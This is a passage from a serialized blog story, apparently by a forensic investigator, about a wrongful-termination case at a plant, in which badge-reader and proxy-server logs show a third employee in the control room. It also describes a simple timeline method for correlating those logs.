Before words of thanks could escape my lips, Chris had left the room and was quickly escorting us to the far side of the office. After a few minutes of power walking, we arrived at a door with a badge reader. Chris slid his card on the side of the reader and with a loud “pop” the door opened into another hallway that ended with a more secure-looking door. With another swipe of his badge, Chris silently welcomed us to one of the control rooms of the plant.

“Can you give us a minute?” Chris asked the lone worker in the room. The worker was writing down readings onto a clipboard. Judging from the number of gauges and boxes on the form he was using, the worker had been standing there quite a long time. He said something under his breath, handed Chris the clipboard, shrugged his shoulders and then exited through the same door that we had just entered.

“Friendly fellow.” I said under my breath. The control room wasn’t much bigger than a large boardroom. Rows of mechanical gauges lined the wall where the worker had been standing. I took note of a single desk at the far end of the room. As I walked closer to the desk, I could see a single PC with a blank screen, and a coffee cup occupying the top of the desk.

George and Maria engaged Chris in smalltalk while I craned my neck to see underneath the desk. The PC had a single ethernet connection in the back that hosted a blue ethernet cable. I walked counter-clockwise around the desk and noticed that the ethernet cable terminated somewhere underneath the floor. I stared at the blank screen.

“Chris, can I ask you a question?” I asked from across the room. “Can you come here for a minute?”

Chris walked over to my location with George and Maria closely behind him.

“I’m assuming that this is the PC that both Tom and Randy used, right?” I asked.

“Correct. Chief, I need to be running to my next appointment. If you all don’t mind?” Chris asked as he motioned us to move towards the entry door.

I walked back around the desk towards the door and bumped the desk with my thigh.

“Chief, you okay back there?” George asked after turning towards me.

I peered over at the PC and was treated to a Windows desktop, complete with an assortment of icons.

“I’m just fine.”

Source: archived original

Part V · Nov 24, 2009

We began our walk back to the reception area and struggled to hold his brisk pace.

As we walked through the corridors, my attention was diverted by a picture hanging on the corridor wall in a sterile stainless steel frame. It was a picture of “start up day”, and it featured the first employees to participate in “day one” operations at the plant. I could clearly make out both Tom and Randy’s faces.

My mind wandered back to a conversation that George and I had in his office. According to his client, someone else had clearly viewed those websites. Tom was adamant that it must have been his longtime coworker Randy because Randy was into “that porn stuff”. George had noted that Tom made the same accusation at the time of his termination. Ore had followed up on this accusation, but was relying solely on the proxy server logs and staff interviews in their termination decision.

A painful grunt from Maria snapped me back to reality. She was clenching the handles of the banker box tightly as we made our way back to the reception area. She insisted on carrying the box even after numerous offers to assist.

“Can we sit down for a moment in the lobby? I’d like to make sure that nothing was overlooked in their evidence collection process.” I asked as we rounded the corner to the melodic voice of the receptionist.

Chris appeared to be in a hurry and a tad annoyed at my request. “Yes, of course.”

Maria sat the banker box down on a small formica-covered table near an uncomfortable row of chairs. I removed the top of the box and gazed inside again. I removed my notepad from my bag and flipped through a few pages.

“I really have to be going to my next appointment,” Chris stammered. “If you need anything, the receptionist…”

“What about the logs?” I queried.

“I beg your pardon?” Chris asked.

“The proxy server logs. I see that snippets were printed and included in the personnel file, and I remember that George indicated that those same snippets were included in the brief. We’ll need the entirety if you don’t mind.” I said without my eyes leaving my notepad.

Chris looked like a child that had been scolded for not finishing his chores. He reluctantly removed his cell phone from his pocket and excused himself to the corner of the room.

“Good call. I assumed those were on that floppy disk,” George whispered. “But I’m guessing that you know better.”

I flipped back through a few more pages in my notepad. “Your original e-discovery request clearly stated that you wanted digital copies of the proxy server logs for a 3-day period; one day before the incident, the day of the incident, and one day after. Considering the facts that multiple shifts are involved, your request was right on the money – and nearly impossible to fit on a floppy disk.”

Maria shifted nervously in her seat. “We totally missed that. We assumed that the printouts they sent us contained everything.”

“Judging from the number of pages that they sent you, I very much doubt that Maria.” I said quietly as Chris ended his phone call on the other side of the room.

The human resources manager returned with a smile on his face. “I must apologize. We’re very new at this. I’m going to retrieve a compact disc from our IT staff here that was sent by our corporate IT staff in California and bring it to you right now. They shipped us two CDs and we completely overlooked the fact that one was for you.”

“We’ll wait,” George responded, “we certainly don’t want to make you any later.”

Chris forced a smile and darted back through the entrance that we had just exited.

I decided to make use of our newly found free time with a bit of reading.

I scanned both personnel records and noted that both employees had a reasonably clean employment record, similar education and training backgrounds, and nearly identical salaries. They were hired within a week of each other when the plant opened years ago.

I then moved my attention to the time and attendance records, followed by the security badge system reports. I repeatedly flipped back and forth between the pages with an increased pace, and scrawled notes in my notebook as fast as I could write them.

George and Maria watched me intently and were hesitant to say anything.

Chris returned moments later with another manilla envelope.

“I’ll take that,” George said as took the envelope from Chris and peered inside. “One CD, and one letter of attestation. Perfect. Thank you.”

Chris nodded. “It was a pleasure meeting you all. Have a safe trip back to Phoenix.”

I raised a hand and motioned for Chris to come near.

“I think you might want to cancel that next appointment. According to these records, we’re missing a personnel folder.” I announced.

“What?” Chris asked as he moved into position to look at the documents I was holding.

“Both Tom and Randy had company in that control room.”

Source: archived original

Part VI · Sep 29, 2010

(Since I’ve been incredibly busy and haven’t updated this case file in forever, please go back to Part I and get caught up again!)

(Edit: I realize I haven’t finished this case in several years. Unfortunately, life has gotten in the way and the real life “George” has asked that I not pursue the rest of this story. I am still negotiating with him on this. To all of my loyal readers, I greatly apologize and hope to make it up to you soon.)

Chris was pissed. Considering that he was a human resources representative of Ore, it was evident that he clearly lacked interpersonal skills. It took a few seconds for my statement to register with Chris. He stood in front of us, motionless, and staring into a part of the wall just above my head. He was… thinking.

“What do you mean they had company?” Chris asked nervously, still staring at the wall.

“Tom owns badge number 1025. Randy owns badge number 1041. During the time period in question, a third badge - badge number 1069 - entered the room about four hours into Tom’s shift, and finally badged out about 1 hour into Randy’s shift. Who owns badge number 1069?” I asked.

Chris finally lost the staring contest with the wall, and asked to see the badge reader logs. I handed the papers to him, and pointed out the entries in question.

“I don’t have an answer for you right now. I need to call corporate. Please have a seat and I’ll, uh, be right back.”

We retired to the semi-comfortable chairs in the reception area and watched Chris disappear through a door down the hall.

George and Maria were staring at me with eyes wider than a Japanese manga hero.

“What?” I pondered out loud.

“How… how the… how does a company just ‘miss’ something critical like that? This is the first time we’ve heard about a third badge!” George said excitedly. “This ought to be good!”

A mere five minutes had passed before Chris returned to the reception area, sweating profusely, and clearly troubled.

“Our legal team would like you to send your request for additional information directly to them. They’ll look at your request, and send anything that is appropriate. I’m sorry, but I can’t do anything more. I’m literally just a messenger and tour guide today.”

Almost by cue, the three of us stood up in front of Chris.

“Chris, we thank you for your time. Please let your legal team know we’ll be contacting them shortly.” George said as he shook Chris’ hand.

We exited the building the way we had came, and were blasted in the face with Arizona’s cruel hot wind.

“Back to the office?” I queried as I climbed into the backseat of George’s BMW.

“And air conditioning!” Maria added with a smile.

Inappropriate use cases like this one often revolve around a few different types of casework.

The first group revolves around doing zero-hour (“this just happened yesterday”) investigative work for an employer regarding “BDM” (boobs, dice, or money). After some log analysis, traffic captures, and desktop examinations I usually find that the accused is guilty and is terminated. Most of these cases are reasonably well developed by the employer.

The second group includes companies that are pretty darned sure that something stinky is going on, but they aren’t sure who the perpetrator is. These employers are usually the victim of poor network security design, and I usually have to revert to video surveillance to build a strong enough case for the employer. Defense lawyers are very skilled nowadays in the art of netsec-fu, and can usually tear apart cases based on logs and analysis software, and sometimes forensic work. It’s pretty hard to argue with a videotape of your employee of the month watching porn during his lunch hour.

The third group is what I call the “nightmare magnets”. These are employers that know just enough about network security to be dangerous, and don’t have the common sense to know that, well, they have no idea what they are doing. My gut instinct was telling me that Ore, Inc. fit my third group profile to the “T”.

My favorite thing about occupying workspace at a successful attorney’s office is that I seem to always have plenty of room to work. George had graciously given me an unused conference room equipped with a generously sized conference room table to spread out my work papers and set up my laptop.

After a few billable minutes of learning how to operate George’s completely awesome coffee machine, I was sitting at my conference room table building my “vertical view” of this case.

Vertical views are timelines placed next to each other (vertically, of course). There’s a timeline for the physical clock-in and clock-out of the employee. A second slidable timeline contains the time marks for the alleged behavior (surfing porn). A third (and now fourth) slidable timeline is developed for the other employees in the same confined physical space. This incredibly simple tool is fantastic for lining up events and doing old-school correlation. I still use this method to this day, much to the embarrassing gasps of coworkers.

The first, third and fourth timelines were quick to develop - the information was readily available from the badge system logs that Ore provided. The second timeline was going to be tricky, since Ore provided the raw proxy logs for the requested 72-hour period. Ore had a single proxy server for the entire western region. I was looking at ALL of their traffic, not just traffic for the Arizona plant. This was going to take me forever, unless I multitasked.

I grabbed my cell phone and called the best log processor I knew.

“Scrap here - what’s up boss?” came a familiar voice from my phone.

“I’m back from my Ore trip, and I’m going to need your help with some analysis.” I said.

I could hear Scrap taking a long drag off of a cigarette.

“I need you to look at some logs. You up for it?” I asked jokingly.

“No problem. How many logs are we talking?” Scrap asked.

“A little over four million lines. Scrap? You still there?”

** Now what are the odds that you’ll get case file updates tomorrow… and maybe the day after… speculate! ** Chief

Source: archived original